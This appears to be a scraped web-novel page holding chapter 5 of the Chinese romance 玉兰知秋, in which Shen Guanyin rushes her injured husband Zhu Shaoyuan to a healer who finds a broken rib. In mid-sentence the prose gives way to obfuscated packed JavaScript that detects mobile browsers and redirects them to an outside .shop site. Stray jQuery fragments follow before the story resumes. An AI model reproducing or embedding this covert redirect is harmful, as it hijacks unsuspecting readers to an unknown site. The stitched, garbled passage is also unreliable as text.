文趣网 > 都市小说 > 玉兰知秋 > 5. 第 5 章
    张嬷嬷心有余悸地抚着她的后背:“姑娘,你快去看看你郎君罢,我刚刚看到他扶着墙回去,嘴唇全然没有血色了。”

    沈关音心里怪不是滋味。

    她还没有决定好要怎么处理和祝劭元之间的事,马上又发生这一遭事情。她想恨,都恨不利索。

    天色渐晚,沈关音回房时没瞧见他的身影,又满庄子找了一圈,仍是不见人。她便决定先取些吃的回来。

    祝劭元本想回屋,却走错了房门,跌跌撞撞半晌才回。

    终究是被伤到了,车厢侧翻时的惯性剐蹭到他了的后背。若是寻常,轻点说就是擦伤,但现在不同。

    他疼痛欲裂地栽倒在床上。

    他醒来时发现自己躺在一片淡紫色花海里,但记不清发生了什么。这里藏着一块不小的草甸,给了他天然的庇护,也保住了他的命。

    一位老汉在山间采药时救下他。他告诉祝劭元,这花是通泉草,有治疗外伤的功效。祝劭元不知自己伤成什么样,只觉得背后有种强烈的撕裂感。

    右胁伤得最重。呼吸都疼,不能翻身,更不能咳嗽,淤青、擦伤反而都是小事。

    恰他所在之地人烟稀少,巡检疏松,老汉便以送医之由,将他送到镇上。后来他遇到走商途中的甘德旺,给他叫了郎中,才带回孙府修养。

    结果今天一磕碰,他疼得想去见老祖宗。

    终于踏进宝瓶门。

    房间里没人,却亮着灯。窗户虚掩着,临窗的位置摆着一盆刚浇完水兰花,叶子上打着水珠。他推门进去,书桌上摆着沈关音的笔架、茶具,一碗煮好的松萝茶,咕咕冒着热气。

    他试了好几次,才点上灯,然后将衣服脱了,将一只软木塞塞到嘴里。

    后背有一道骇人的疤痕,伤口边缘泛着青紫,本来长成的血痂再次开裂,正在向外渗血。

    祝劭元拿出甘管事带来的纱布和膏药,决定自己处理伤口。指尖刚碰上肌肤,便被牵拉的动作扯得倒吸一口凉气。他索性将浸透的中衣也剥去,用纱布胡乱绕了几圈裹住,在架子床靠里的位置躺下。

    外面开始下雨,淅淅沥沥地淋在窗户纸上。

    现在他浑身发冷,四肢隐痛,顾不得吃饭喝水,只想休息。睡觉时翻不了身,不过睡在里侧,还可以看看她的脸,再不济,也能看到后背。

    他闭上眼睛,脑海里仍是她提着裙摆,踩过汀步的模样。

    ***

    被突如其来的雨水袭击,沈关音端着一张食案回屋的时候,天色已经全黑。

    一进门,药味混杂着淡淡的血腥味扑鼻而来。房内的油灯也早灭了,她摸瞎拿出火折子,将油灯点上。

    祝劭元躺在床上,身上盖着一领氅衣。沈关音进门的工夫,他没有任何反应,甚至连呼吸都微弱得听不到。

    沈关音走上前去,试探着开口:“喂?”

    依旧没有回应。

    她一把掀开氅衣,却发现男人上身赤条条的,唯有胸口的位置缠了几圈纱布。烛光打到他袒露的肩颈与锁骨上,描摹出清晰的骨骼线条。

    一时之间,沈关音不知是该放下还是盖上,便伸出手,碰了碰他的额头,却发现烫得惊人。她赶忙去瓮里舀了一瓢水,将帕子打湿了,仔细地敷在他的额头上。

    祝劭元无意中拢了拢眉,呼吸也重了几分。

    她的手顿了一下,低声问道:“你哪里受伤了?我给你请郎中?”

    他没回答,似乎陷入了昏迷。

    沈关音将他的胳膊挪开,发现纱布上已经洇开一片新鲜的血迹,覆上已经干涸的那片。大概是怕染脏了床,他身下还垫着一件衫子。

    大概是被马车擦伤的,而且伤得很重。她简要做出判断,决定去找甘管事帮忙。

    沈关音拿了一盏手把羊角灯,提着裙子一路小跑,敲响甘管事的房门。

    “做什么?”甘德旺的小厮开了门。

    沈关音道:“我找甘管事。”

    “甘管事送孙公子回城里之后就去隔壁县走商了,几天后才能回来。”

    房门无情关上,带起一阵风。

    她又去找了张嬷嬷。张嬷嬷不懂医术,但是听出情况紧急,便说道:“我现在给你备驴车,咱们赶在宵禁前回城,把大夫请来!”

    “这庄子附近没有大夫吗?”

    张嬷嬷说道:“姑娘,别想了,郊外大多是走街串巷的铃医,资质良莠不齐,遇到厉害的是你走运!”

    沈关音有些忧虑:“那不如把他一齐带着?若是请不到好大夫怎么办?”

    沈关音看了眼报晓刻漏,现在是戌初,距离宵禁还有半个时辰。时间刻不容缓,她赶忙回屋,披上外衣,准备和张嬷嬷会合。

    临行前,她从书架里抽出一只鹅黄落花流水缎裹起来的包袱。里面是一只黑漆杉木螺钿方胜盒,嵌着十二种贝壳四季花,十分精巧。

    掀开盖子,存放着是母亲给她置办的首饰,是她视若珍宝的东西。除了父母留下的容像和书籍,就属这个最重要。

    沈关音看着盒子里的流光溢彩,咬了咬牙,一遭塞进包袱里。

    两人一同把祝劭元抬进车里。张嬷嬷已经拿起鞭子,等沈关音上来。

    孙大郎对庄子的拨款不算大方,好马他舍不得用来拉货,因此只有驴用。这匹驴的步速比不上马,脾气还倔,逼急了就尥蹶子不走。张嬷嬷只敢让它一路缓速小跑,最后进了城门。

    张嬷嬷想去找夫人看过的医馆,青州城内最有声望的名医汇集于此。而他们没有事先约定日期,出诊位次已经排到一周之后。

    沈关音有些焦躁地捋了捋头发。一周之后,人怕不是都凉了。

    好医生找不了,只能降低标准。她的身体向来康健,也不曾在青州看过病,若是盲找大夫,也不可靠。

    张嬷嬷一拍脑袋,恍然大悟:“回孙府!我想起来,蓝嬷嬷年轻时是行医的,她懂医术!”

    一路赶回

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17839676|211593||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    孙府,值夜小厮听了诉求,便将他们放了进去。两人将祝劭元抬到沈关音曾住过的耳房里。

    少顷,蓝嬷嬷提着一个包匆匆赶来,她从兜里掏出一张白布,熟练地围住口鼻。

    她把了把脉,掀开眼皮看了看,示意两人帮他把衣服脱掉。

    他的状况看上去比白日还差,右肋的皮肤青紫肿得老高。蓝嬷嬷低下头,用两手极为审慎地在某个位置按了按,说道:“右侧肋骨骨折了。不过没有损害其内,但他有外伤,面色灰紫,是瘀血攻心之症,情况有些棘手。我得给他先止血清创,再正骨。”

    沈关音看着他的伤口,总觉得自己的右胁有感应一般,刺痛了两下。

    蓝嬷嬷对张嬷嬷说道:“现在还未宵禁,待我写一张单子,叫小厮去左数第三个宅子里,抓几味退热的药来。”

    “好,我这就去。”

    张嬷嬷出去后,沈关音问道:“他的伤口可是刀剑所致?”

    蓝嬷嬷迟疑道:“伤口边缘不规则,钝器、血痂撕裂、锋利的石头,树枝划伤……都有可能”。

    “他还有救吗?”沈关音忽然问道。

    蓝嬷嬷顿了顿,说道:“最多等五日……看他自己造化了。”

    沈关音从怀里掏出那只方胜盒,说道:“嬷嬷,这个盒子是我能为治病掏的出来的钱,里面还有我娘留给我的首饰。求您帮他料理好,这首饰您拿去当了也好,只求能救他一命!”

    “你这个傻丫头,你娘留给你的怎么能随便当了去!我记得夫人不是给过你几副首饰充作嫁妆么,不算名贵,但能换几个钱。”

    蓝嬷嬷出去后,沈关音在房门口架起一只小砂锅,准备煮药。黑漆漆的夜晚,她独自坐在门口,把袖子挽起,将换下来的冷敷的手巾放到水盆里淘洗。微寒的风混杂着冷水的触感侵袭着手腕细嫩的肌肤,让她无意识地打了个哆嗦。

    虽说嫁了,但她的东西尚未全部搬走,还有些可用的。她去小厨房借了几样餐具,又将他沾了血的衣服拿出来,准备送到浆洗房。

    忙完一切,她回到屋里,坐在床边,看着昏迷不醒的男人。

    他的发髻有些散了,碎发黏在额角。清醒时,多少有些锐利的双眼现在阖着,异常安静。

    “你为什么要帮我?”她轻声问道。

    说完,她停了半刻,好像在等他回答。

    但他就是静静地躺在那里,不可能回答她。

    沈关音有些沮丧。她的目光向一边偏移,最终定在他的肩颈上。她伸出一根手指,丧气地戳了戳他颈窝的肌肉。

    “你睡得倒是挺踏实。”

    她想起身,去门口等张嬷嬷。忽然,身旁的人似乎出了点动静。

    祝劭元微微张着嘴,像是要说什么,吐出的却是几声含混不清的呓语。

    沈关音俯下身子,侧耳聆听。

    “娘……冯嬷嬷她……”

    沈关音挑了下眉毛,叹了口气:“好好休息。”